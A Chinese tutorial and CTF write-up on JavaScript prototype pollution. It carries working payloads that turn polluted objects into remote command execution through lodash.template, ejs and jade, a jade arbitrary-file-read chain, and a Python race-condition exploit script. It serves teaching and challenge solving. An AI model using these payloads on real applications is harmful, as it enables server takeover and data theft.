[toc]

prototype (原型)

  • 在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。

例子:

1
object.prototype.name=value
  • 在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
1
2
3
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
  • 不同对象所生成的原型链如下(部分):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

所以,总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性
1
foo.__proto__ == Foo.prototype

原型链污染

在实际应用中,有些函数会修改对象的属性,从而导致原型链污染

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

测试一

1
2
3
4
5
6
7
8
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2

o3 = {}
console.log(o3.b) // undefined

用上述的代码测试可以发现虽然o1得到了b属性,但是原型链并没有被污染,因为o3并没有得到原型的b属性,

这是因为在执行let o2 = {a: 1, "__proto__": {b: 2}}的过程中,”_proto_”没有被解析成键名,最终结果是把o2的原型变成了{b: 2},而此时o2原型的原型才是Object

image-20220928165021373

而后在merge遍历时,只会遍历o2中的a和b,并不会遍历”_proto_”这个键,所以o1只会获得a和b两个属性,而Object原型并没有被污染,o3自然也不受影响

image-20220928170330601

测试二

想让”_proto_”被解析成键名可以使用JSON.parse

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2

o3 = {}
console.log(o3.b) // 2

JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键,执行完后可以发现o2中有两个__proto__第一个是键名为__proto__的一个对象,而第二个__proto__才是o2的原型,所以在merge的时候会改变o1的__proto__,也就是Object原型

image-20220928170736776

lodash不同版本差异

1:{"__proto__":{}}

2:{"constructor":{"prototype":{}}}

lodash不同版本可用的payload不同

版本 4.17.4 4.17.5 4.17.11 4.17.12
lodash.merge | lodash.mergewith 1、2 2 null null
lodash.defaultsDeep 1、2 2 2 null

web338

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function copy(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow === '36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

secret和user都是Object对象,可以传入{"__proto__":{"ctfshow":"36dboy"}},来污染Object原型,使得secret获得继承的属性

web339

1
2
3
4
5
6
7
8
9
10
11
12
13
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html');
var flag = 'flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user, req.body);
if (secert.ctfshow === flag) {
res.end(flag);
} else {
return res.json({ret_code: 2, ret_msg: '登录失败' + JSON.stringify(user)});
}
});

本题和上一题不一样的地方在于需要flag的值未知,无法通过污染来继承属性,但本题存在一个api路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

query的值为Function(query)(query),在能控制query的情况下就可以执行任意函数,这里可以利用原型链污染给Object原型加上一个query,传入{"__proto__":{"query":"global.process.mainModule.constructor._load('child_process').exec('calc')"}}

接着请求/api触发res.render就可以触发恶意代码

image-20220928234230132

web340

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html');
var flag = 'flag_here';
var user = new function () {
this.userinfo = new function () {
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo, req.body);
if (user.userinfo.isAdmin) {
res.end(flag);
} else {
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});

类似的题目不过这里copy的对象不一样了,由于此时的user.userinfo的原型是Function,而Function的原型才是Object,所以必须再向上一层才能污染Object

1
{"__proto__":{"__proto__":{"query":"global.process.mainModule.constructor._load('child_process').exec('calc')"}}}

ez_merge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (dest, src) => {
for (var attr in src) {
if (isObject(dest[attr]) && isObject(src[attr])) {
merge(dest[attr], src[attr]);
} else {
dest[attr] = src[attr];
}
}
return dest
};

app.post('/api/require', function (req, res, next) {
try {
require(req.body.requirethis.toString());
delete require.cache[require.resolve(req.body.requirethis.toString())];
res.send('required')
} catch (error) {
res.send(error)
}
})

app.post('/api/merge', function (req, res, next) {
try {
let merge1 = req.body.merge1 || "";
let merge2 = req.body.merge2 || "";
console.log(merge1);
console.log(merge2);
newmerge = merge(merge1, merge2);
res.json(newmerge)
} catch (error) {
res.send(error)
}
})

本题的merge路由可以进行原型链污染,但是此处的利用比较奇妙,在require路由种可以控制require的参数,是否有一个模块,只要加载便可以rce呢?分析源码或网络搜索。可以发现/usr/local/lib/node_modules/npm/node_modules/editor/example/edit.js

1
2
3
4
5
var editor = require('../');
editor(__dirname + '/beep.json', function (code, sig) {
console.log('finished editing with code ' + code);
});

自动包含了其上一模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var spawn = require('child_process').spawn;

module.exports = function (file, opts, cb) {
if (typeof opts === 'function') {
cb = opts;
opts = {};
}
if (!opts) opts = {};

var ed = /^win/.test(process.platform) ? 'notepad' : 'vim';
var editor = opts.editor || process.env.VISUAL || process.env.EDITOR || ed;
var args = editor.split(/\s+/);
var bin = args.shift();

var ps = spawn(bin, args.concat([ file ]), { stdio: 'inherit' });

ps.on('exit', function (code, sig) {
if (typeof cb === 'function') cb(code, sig)
});
};

其中将opts.editor作为命令执行。与原型链污染配合,可以rce。

配合 lodash.template

Code-Breaking 2018 thejs

本题的server.js关键部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})

// ...

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

其中data = lodash.merge(data, req.body)存在原型链污染,如图所示用正常功能传入language[]=python&category[]=pwn

image-20220929213539366

可以看到执行lodash.merge完毕后会改变data的属性,然后写入req.session.data

image-20220929214112959

尝试一下污染Object的属性

image-20220929214704680

发现可以污染

image-20220929214748523

然后就得找污染的利用点,看看有没有代码执行的函数,本题的触发点存在于res.render当中,此时使用的模板渲染函数是lodash.template,我们可以动态调试看看lodash.template的过程

1
2
3
4
5
6
7
8
9
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})

传入的参数为content,lodash.template的返回值应该是一个函数,赋值给了compiled

content是读取的ejs文件内容,进入lodash.template中传给了string

1
2
3
4
5
6
7
8
9
10
11
// Use a sourceURL for easier debugging.
var sourceURL = '//# sourceURL=' +
('sourceURL' in options
? options.sourceURL
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

在给sourceURL赋值时会先检查options.sourceURL是否存在,如果存在就取options.sourceURL,否则就取后面的字符串,而在后续代码中sourceURL会进行简单拼接后作为Function的参数,如果我们能够污染Object就可以控制sourceURL参数导致任意代码执行,在没被污染的情况下如下

image-20220929220947111

此时的模板渲染代码应该如下

1
2
3
4
5
6
7
8
code="
//# sourceURL=lodash.templateSources[0]
return function(obj){
return __p
}"

let compiled = Function(code)
let rendered = compiled({...options})

Payload 1

1
{"__proto__":{"sourceURL":"x\nglobal.process.mainModule.constructor._load('child_process').exec('whoami')"}}
1
2
3
4
5
6
7
8
9
code="
//# sourceURL=x
global.process.mainModule.constructor._load('child_process').exec('whoami')
return function(obj){
return __p
}"

let compiled = Function(code)
let rendered = compiled({...options})

能进行命令执行,但无法控制回显,可以直接反弹shell

Payload 2

1
{"__proto__":{"sourceURL":"x\nreturn function(){return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()}"}}
1
2
3
4
5
6
7
8
9
10
11
code="
//# sourceURL=x
return function(){
return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()
}
return function(obj){
return __p
}"

let compiled = Function(code)
let rendered = compiled({...options})

如果环境不出网,想要拿到回显就要改变Function()的返回值,直接用匿名函数返回命令执行的结果

image-20220929222529455

Payload 3

1
{"__proto__": {"sourceURL": "\u000areturn e => { for (var a in {}) { delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
code="
//# sourceURL=x
return e => {
for (var a in {}) {
delete Object.prototype[a];
}
return global.process.mainModule.constructor._load('child_process').execSync('whoami')
}
return function(obj){
return __p
}"

let compiled = Function(code)
let rendered = compiled({...options})

p牛的payload,每次污染前先复原一下Object,一个环境可以多次执行

配合 ejs 模板引擎

先写一个小Demo

1
2
3
4
5
"dependencies": {
"ejs": "3.1.6",
"express": "4.18.1",
"lodash": "4.17.4"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//app.js
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());

app.set('views', './');
app.set('view engine', 'ejs');

app.get('/', function (req, res) {
res.render ("index",{
message: 'whoami test'
});
});

app.post("/", (req, res) => {
let data = {};
let input = req.body;
lodash.defaultsDeep(data, input);
res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
console.log('Listening on port %d', server.address().port);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
//index.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

在模板渲染时会先进入res.render -> app.render -> tryRender,接着一步步进入view.js,此时可以看到engine已经被设置为了ejs

image-20220930001151344

再进入ejs的模板处理 tryHandleCache -> handleCache -> compile(),在这里创建了一个新的Template对象,再调用了这个对象的compile方法,而ejs的漏洞就出现在这里

image-20220930001620149

跟进Template.compile(),大致流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Template.prototype = {

// ...

compile: function () {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';

// ...

if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

// ...

appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}

// ...

src = some_func(source)

if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

if (opts.strict) {
src = '"use strict";\n' + src;
}

if (opts.debug) {
console.log(src);
}

// ...

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

// ...

var returnedFn = opts.client ? fn : function anonymous(data) {

// ...

};

// ...

return returnedFn;
}
}

RCE污染链 1

只要能够控制source就能控制compile的返回值,而opt在定义时是个空对象,所以可以通过原型链污染来控制opts.outputFunctionName,从而可以向source中注入js代码

Payload 1

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('whoami');var __tmp2"}}

直接加一句命令执行

Payload 2

1
{"__proto__":{"outputFunctionName":"x\nreturn global.process.mainModule.require('child_process').execSync('whoami')\nx"}}

用return拿到回显

RCE污染链 2

可以通过控制污染escapeFn属性来控制src,从而控制compile的返回值

Payload 1

1
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}

Payload 2

1
{"__proto__":{"client":true,"escapeFunction":"1\nreturn global.process.mainModule.constructor._load('child_process').execSync('whoami')","compileDebug":true,"debug":true}}

开启debug在本地可以看到执行的代码

web341

没有可以利用的危险函数,直接上ejs原型链污染

1
2
{"__proto__":{"__proto__":{
"client":true,"escapeFunction":"1\nreturn global.process.mainModule.constructor._load('child_process').execSync('dir')\n","compileDebug":true}}}

XNUCA 2019 Hardjs

在/add路由可以向数据库中插入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.post("/add",auth,async function(req,res,next){

if(req.body.type && req.body.content){

var newContent = {}
var userid = req.session.userid;

newContent[req.body.type] = [ req.body.content ]

console.log("newContent:",newContent);

var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(newContent) ]);

if(result.affectedRows > 0){
res.json(newContent);
}else{
res.json({});
}
}
});

而在/get路由中,如果记录超过五条,就会进行合并,这里存在原型链污染,lodash版本为4.17.11,题目所用的危险函数为lodash.defaultsDeep,只能用{"constructor":{"prototype":{}}}来污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
app.get("/get",auth,async function(req,res,next){

var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);

if(dataList[0].count == 0 ){
res.json({})

}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}else {

console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();

for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}

console.log(ret);
res.json(ret);
}

});

而本题的利用点在ejs模板引擎中,污染后直接访问/触发render即可rce

1
2
3
4
5
6
7
8
9
{"content":{
"constructor":{
"prototype":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('id');var __tmp2"
}
}
},
"type": "test"
}

MRCTF 2022 Hurry_up

本题的功能是可以通过/hide路由在存入一个键值对,并写入req.session.obj中,在/路由中可以通过键获取值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
router.get('/',async (req, res) => {
var path = req.query.path || "Welcome.2.MRCTF2022";
var o = req.session.obj || {"Welcome": {"2": {"MRCTF2022": "Just store your secret.No one knows."}}};
global._handle = res.socket._handle;
var value = getValue.get(path, o);
if (typeof value === "object") {
value = null;
}
safeCheck()
.then(()=>{
return res.render("../views/test.ejs", {"path": path, "value": value})
})
.catch(()=>{
return res.end()
})

})

router.get('/hide',(req,res)=>{
var path = req.query.path;
var value = filter(req.query.value);

var o = req.session.obj ||{"Welcome":{"2":{"MRCTF2022":"Just store your secret.No one knows."}}};
if(path && value){
getValue.set(path,value,o)
}
req.session.obj=o;
return res.json(req.session.obj)
})

而本题在写入req.session.obj中时所用函数为getValue.set,存在原型链污染,据nama所说这里是用了redis的库,但是去掉了黑名单,可以造成原型链污染,同时本题所用模板引擎为ejs,可以利用污染达成rce

但是在app.js中存在这样一段处理

1
2
3
4
5
6
7
8
9
10
11
12
13
app.use(async (req, res, next) => {
res.header(
"Content-Security-Policy",
"default-src 'self';"
);
await new Promise(function (resolve) {
for (var key in Object.prototype) {
console.log(key);
delete Object.prototype[key];
}
resolve()
}).then(next)
});

每次访问路由响应之前都会清空一遍Object原型的键值,如果我们污染的原型在渲染前被清空了那就没有意义了

这时回头看/路由中有一段奇怪的函数,setTimeout(resolve, 100);会等待一段时间后执行,而此时我们的请求处于阻塞状态,服务端会继续处理别的请求,我们需要利用这段时间来进行条件竞争

1
2
3
4
5
exports.safeCheck = async function () {
return await new Promise(function (resolve) {
setTimeout(resolve, 100);
})
}

给出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import threading

url = 'http://192.168.145.1:3000'

mycookie = {'cp-session': 's%3AbalEAslDZC5osalDso7lL36etnLfHqP5.hPx%2Bcj8iT4ZGp9iEpeJjjYfGRn2XDRODq2Qo%2F4%2FUq3U'}


def pollute(cmd):
for i in range(20):
payload = {'path': '__proto__.outputFunctionName',
"value": f"x\nreturn global.process.mainModule.require('child_process').execSync('{cmd}')\nx"}
# print(payload)
r = requests.get(url + '/hide', params=payload, cookies=mycookie)


def render():
while True:
r = requests.get(url + '/', cookies=mycookie).text
if len(r)>30:
print('fail')
else:
print(r)
break


def rce(cmd):
t1 = threading.Thread(target=pollute, args=(cmd,))
t2 = threading.Thread(target=render)
t1.start()
t2.start()


if __name__ == '__main__':
cmd = 'whoami'
rce(cmd)

配合 jade/pug 模板引擎

写一个小demo

1
2
3
4
5
"dependencies": {
"express": "4.18.1",
"jade": "1.11.0",
"lodash": "4.17.4"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//app.js

var express = require('express');
var lodash= require('lodash');
var jade = require('jade');
const bodyParser = require("express");

var app = express();

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json());

//设置模板的位置与种类
app.set('views', __dirname);
app.set("view engine", "jade");

//对原型进行污染
// var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
// lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index",{
message: 'whoami test'
});
});

app.post("/", (req, res) => {
let data = {};
let input = req.body;
lodash.defaultsDeep(data, input);
// lodash.merge(data, input);
res.json({message: "OK"});
});
//设置http
var server = app.listen(8000, function () {

var host = '192.168.145.1'
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
1
2
3
4
// index.jade

h1 #{message}
p #{message}

在模板渲染时和ejs一样,res.render -> app.render -> tryRender,接着进入view.js,此时的引擎被设置为jade

image-20221004203122409

RCE污染链 1

1
2
调用链:
__express -> renderFile -> handleTemplateCache -> compile -> parse() -> compiler.compile() -> visit()

visit()中存在可以代码注入的地方,在遍历node时,有的节点的line属性为undefined,如果我们能污染Object的line属性,便可以控制其中某个node.line从而注入代码

1
2
3
4
5
6
7
8
9
10
visit: function(node){
var debug = this.debug;

if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
+ ', ' + (node.filename
? utils.stringify(node.filename)
: 'jade_debug[0].filename')
+ ' ));');
}

正常的node.line会拼接进去

image-20221004215709579

拼接后如下图

image-20221004215649387

如果碰到node.line=undefined

image-20221004215750722

我们污染的line就会被拼接进来,之后buf会被返回

image-20221004215812263

compile函数的返回值为js,然后继续执行后续处理,此处需要避免进入addWith中,否则会我们注入的代码会产生报错,这里污染self属性即可

1
2
3
4
5
6
7
8
9
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};

payload

1
2
3
{"__proto__":{
"self":1,
"line":"))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//"}}

RCE污染链 2

在visit中跟进会发现中途会进入visitTag,而在visitTag中存在一个undefined变量

image-20221005143325920

继续跟进visitCode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
visitCode: function(code){
// Wrap code blocks with {}.
// we only wrap unbuffered code blocks ATM
// since they are usually flow control

// Buffer code
if (code.buffer) {
var val = code.val.trim();
val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
if (code.escape) val = 'jade.escape(' + val + ')';
this.bufferExpression(val);
} else {
this.buf.push(code.val);
}

payload 1

当code.buffer不为空时会进入直接把var给push到buf里,从而污染js

image-20221005144020852

1
{"__proto__":{"self":1,"code":{"val":"return global.process.mainModule.require('child_process').execSync('calc').toString();"}}}

payload 2

当buffer不为空时,闭合一下即可

1
{"__proto__":{"self":1,"code":{"buffer":1,"val":"1)))\nreturn global.process.mainModule.require('child_process').execSync('calc').toString();//"}}}

任意文件读污染链

在visit函数中,当我们能控制line或者filename时,可以利用报错信息来读出任意文件的部分内容

1
2
3
4
5
6
7
8
9
10
visit: function(node){
var debug = this.debug;

if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
+ ', ' + (node.filename
? utils.stringify(node.filename)
: 'jade_debug[0].filename')
+ ' ));');
}

此时的匿名函数如下,其中的jade.rethrow会处理报错

image-20221005145047755

当控制文件名时可以任意文件读,但lineno没法控制,只能读出前几行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
exports.rethrow = function rethrow(err, filename, lineno, str){
if (!(err instanceof Error)) throw err;
if ((typeof window != 'undefined' || !filename) && !str) {
err.message += ' on line ' + lineno;
throw err;
}
try {
str = str || require('fs').readFileSync(filename, 'utf8')
} catch (ex) {
rethrow(err, null, lineno)
}
var context = 3
, lines = str.split('\n')
, start = Math.max(lineno - context, 0)
, end = Math.min(lines.length, lineno + context);

// Error context
var context = lines.slice(start, end).map(function(line, i){
var curr = i + start + 1;
return (curr == lineno ? ' > ' : ' ')
+ curr
+ '| '
+ line;
}).join('\n');

// Alter exception message
err.path = filename;
err.message = (filename || 'Jade') + ':' + lineno
+ '\n' + context + '\n\n' + err.message;
throw err;
};

exports.DebugItem = function DebugItem(lineno, filename) {
this.lineno = lineno;
this.filename = filename;
}

image-20221005145959436

payload 1

1
{"__proto__":{"self":1,"line":"1,\"./app.js\"))//"}}

payload 2

1
{"__proto__":{"self":1,"filename":"./app.js"}}

web342

1
{"__proto__":{"__proto__":{"self":1,"type":"Doctype","line":"))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//"}}}

Reference

https://www.anquanke.com/post/id/248170#h2-10

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

https://www.anquanke.com/post/id/246492#h2-1